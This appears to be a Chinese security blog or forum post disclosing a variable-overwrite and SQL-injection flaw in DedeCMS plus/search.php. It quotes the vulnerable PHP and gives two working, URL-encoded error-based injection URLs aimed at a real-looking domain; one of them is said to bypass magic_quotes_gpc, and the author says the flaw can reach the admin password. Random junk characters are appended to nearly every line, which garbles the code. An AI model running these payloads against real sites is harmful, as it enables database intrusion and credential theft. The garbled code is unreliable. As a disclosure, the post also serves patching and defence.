微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.. Y6 u% I' m5 r, k& b# s
作者: c4rp3nt3r@0x50sec.org( P& H& \" t4 h
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码., W/ a4 i/ _: u5 }. l3 N$ h5 G2 t
. b0 b) I$ S1 @
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
; w, \. d! G+ q+ O/ k$ U0 a |+ D8 P! _: T+ Y
============
! J5 @ @2 ^6 `
2 z1 U' {, y6 M2 h' C$ s
! E3 J3 @4 l& t1 j- S/ tDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
% Y) e, ^% O: n# C2 u6 C6 O 1 n0 B8 c# C- p p0 F) G& I
require_once(dirname(__FILE__).”/../include/common.inc.php”);2 a- |* y& Z3 f* N: K) G4 W
require_once(DEDEINC.”/arc.searchview.class.php”);% q! ?0 s0 ?) k
# L. j; A7 V1 v7 P( o$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
# O/ K9 ]. e8 Y6 Y% M( G& Q$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;$ n; \; E& b& L( A. K- K
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;3 S! s3 w/ H2 s7 H: ^5 W
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;+ c( \2 S1 _( X& K+ x
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;& B( ]+ V/ q0 c* s! _, V3 j
0 a* X' [3 J* e$ j7 Xif(!isset($orderby)) $orderby=”;
% W# u2 K" {* S. t5 c4 v. Ielse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);& i! X% [! Y- ], E9 O* O
$ M! B% v6 _' t6 }3 Q( D
2 w$ R6 w' G, [9 u9 Q: R" N7 D
if(!isset($searchtype)) $searchtype = ‘titlekeyword’; I4 y+ ]3 w; Q- M7 g* K
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);, T6 g, v' ^- p5 L
! S' K' D W7 z c* c% Z( S
if(!isset($keyword)){+ H/ c1 R2 ]. m0 j5 T- {
if(!isset($q)) $q = ”;
4 J& ^5 ^# d: ?5 [- r) Q) c0 A; J' h $keyword=$q;( E3 H. Y$ g9 L
}
! M$ A8 t, v6 U* H% v" h ' x& U2 i4 u6 S
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
6 ^/ p6 L3 { b8 v+ L7 E % L( T y' M/ t4 ~ ~( Q& |
//查找栏目信息 k4 J: y& }. X6 N+ w; t+ n
if(empty($typeid))
$ x# U2 g L1 Z1 k1 y7 l, i{4 `) o8 O& q5 K# _% p+ n% E
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;- R& [& X5 b- U/ `" c( ]
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
* E3 d% W8 A$ a% l o {
. @) T+ s6 {% Y, U/ e$ \ $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);/ M; W9 N4 C+ A$ ~" O }$ u1 s
fwrite($fp, “<”.”?php\r\n”);
9 c- n" R- G6 ^( y# k $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
$ U5 i7 f% g) x8 u( n# _# k! W: A $dsql->Execute();
' M4 G. g1 D0 T while($row = $dsql->GetArray())3 K v4 k5 U5 v1 R3 ~ h
{9 c% A/ \+ i9 E& L G1 k
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);1 l# a+ d' |7 i/ U7 c/ p
}+ y. T/ N" i+ h$ _3 o# ^0 F
fwrite($fp, ‘?’.'>’);
9 F9 L7 [, W( T* }( M fclose($fp);
: L5 f( J+ k2 L; o* A# X2 n } T3 y8 `- N& \( R# A9 t
//引入栏目缓存并看关键字是否有相关栏目内容
% G8 f3 @0 Y9 q+ m' F require_once($typenameCacheFile);
; F: x) }: z$ K: l( ]' q9 N//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个4 U5 w, |) H" G7 s6 ^
//2 a8 J) i- @ u$ N) y0 V) C+ Y! a% W
if(isset($typeArr) && is_array($typeArr))% O! }/ s- Y# F7 s* L
{
6 z% f+ a0 |+ W1 T) c foreach($typeArr as $id=>$typename)
$ F/ f) K& I+ {# W {! N6 a. J w7 w C* `, ^* H' }5 w
# n! B5 M+ }- S" o3 _$ U8 H
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过 Y* w8 @. M1 A) k" o+ v* X
if($keyword != $keywordn)' N3 p& t( u9 R0 y
{4 y) f9 [" V6 P# S1 J4 Z9 P. c
$keyword = $keywordn;- a1 U5 j( C/ d; I; L2 Q% m( N' a
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
, D* l! [5 [; ]# S3 Y break;
7 D1 X( }& D4 b* z, `8 W, {9 e }
' Z y9 _, K& }; ?* n( R6 T* m" v }- `; l! e; l2 f: p
}
# ~+ g: l: H$ K* U}
% ~* r8 X& p9 H& Y4 E然后plus/search.php文件下面定义了一个 Search类的对象 .
6 e9 e6 g4 A# v* Y在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.$ d+ d, N5 C+ `# L& ?
$this->TypeLink = new TypeLink($typeid);0 n( R3 }2 I2 ^- Q1 R5 M& w
* ^7 a+ q" ~8 a2 Z1 ATypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
" _4 U( k1 V' V 9 i) i* {. w3 } d( p2 [
class TypeLink/ P S, o% o+ v% B
{
8 B- d! b3 B' b ` var $typeDir;
8 P" G) h3 t' v" _: u$ b var $dsql;
6 p$ w, b* J; q8 X var $TypeID;
- }% O& w2 g( f$ v2 n( V# p var $baseDir;
8 h4 |* O4 n7 Z var $modDir;8 V3 d g) N1 M( s2 O+ y$ S
var $indexUrl;8 V9 I* C' c- N7 R- \
var $indexName;/ g7 N) p' J5 x, K* i' N$ t( S
var $TypeInfos;* ^* i6 R3 O7 T) r5 m
var $SplitSymbol;
g3 ~& v8 _ E. U0 C" C var $valuePosition;
) e) k0 x& F2 a" X: W& b" { var $valuePositionName;
( c* i" a, S8 `$ g1 r var $OptionArrayList;//构造函数///////! G* G6 O) d3 k# p
//php5构造函数. z7 D( |2 u* v2 |% z
function __construct($typeid)4 C1 z3 C* N, o% w/ n4 @' B! N
{9 h0 ?9 C6 ]$ W, q. U
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
# W+ A4 M' O* V* f' d* x0 K $this->indexName = $GLOBALS['cfg_indexname'];; t( L/ L3 D D. ?2 T/ U& }" l, x4 I
$this->baseDir = $GLOBALS['cfg_basedir'];3 b) C- M- q2 B. i
$this->modDir = $GLOBALS['cfg_templets_dir']; V6 e" F1 N3 z' i) b2 p6 a
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];+ t& i/ Y3 v4 x7 Z' d5 Y) G
$this->dsql = $GLOBALS['dsql'];% J# E8 Z3 C N$ B" `
$this->TypeID = $typeid;* c( b0 X: r) h6 J- g
$this->valuePosition = ”;
( W) J. o, B8 j1 B) `9 R* x7 Z $this->valuePositionName = ”;
) {* r2 X( j3 v: @' G $this->typeDir = ”;
; M2 b* k8 E$ f# h w. Q1 d $this->OptionArrayList = ”;! i* B' ?5 |& H8 C
/ c D, f" h* X% b" \) m) c2 ^1 t5 Q$ X6 ? //载入类目信息
* b0 F5 B9 j" {2 N* z8 S - l( A% }5 i6 }$ e) z
<font color=”Red”>$query = “SELECT tp.*,ch.typename as4 R0 R. ~' a5 Y r8 d+ F" s; q
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join1 F7 r# f, _, Z/ B9 o: c% S; C4 J
`#@__channeltype` ch* D8 b' \0 a- C
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
4 P2 e6 d/ h5 ~* v3 l7 M
% `. ?; B$ z% k) K$ Q if($typeid > 0)
* }0 J& j( T* n0 ? {
: C3 l" U7 A& y $this->TypeInfos = $this->dsql->GetOne($query);4 Z6 B7 ]/ M7 t# ^
利用代码一 需要 即使magic_quotes_gpc = Off; u+ Y9 g& g' k9 S) D. u, f
; | U! i+ X& t" |' X
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title. h& ]* w$ D5 \3 H
0 P# ]8 ^/ ]4 a# d& F& v9 {这只是其中一个利用代码… Search 类的构造函数再往下
) \: Z' T! w9 A# \
( S3 u6 e/ ]+ X F……省略
7 U0 p$ \2 w1 j$ k$this->TypeID = $typeid;: `' }7 L% h: y: C4 K$ e u) B; c
……省略1 [! N% y' F- x
if($this->TypeID==”0″){
" q' e) o1 Z4 c8 {( x $this->ChannelTypeid=1;, v2 k5 O7 s9 e( y0 W" x2 N7 {
}else{
/ w& }, X/ f) R$ ?) z $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
# v9 S' D) { J5 m//现在不鸡肋了吧亲…
5 h+ O `- H m0 ~6 u $this->ChannelTypeid=$row['channeltype'];# D. I! {# m- l2 g, d/ B$ E
! P* T }- O# v
}
, S5 {2 V y: |5 d! E: D- r! J. S! ~" _ N利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.+ @8 H0 @/ R8 ]3 t3 ]2 E
9 ?( I1 m2 T- F: A
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
4 C7 |1 r% @% p" x
3 O. q3 f) h+ o9 s! W& f4 r如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
9 m6 J! u: }7 ]' |* K& K( U0 T |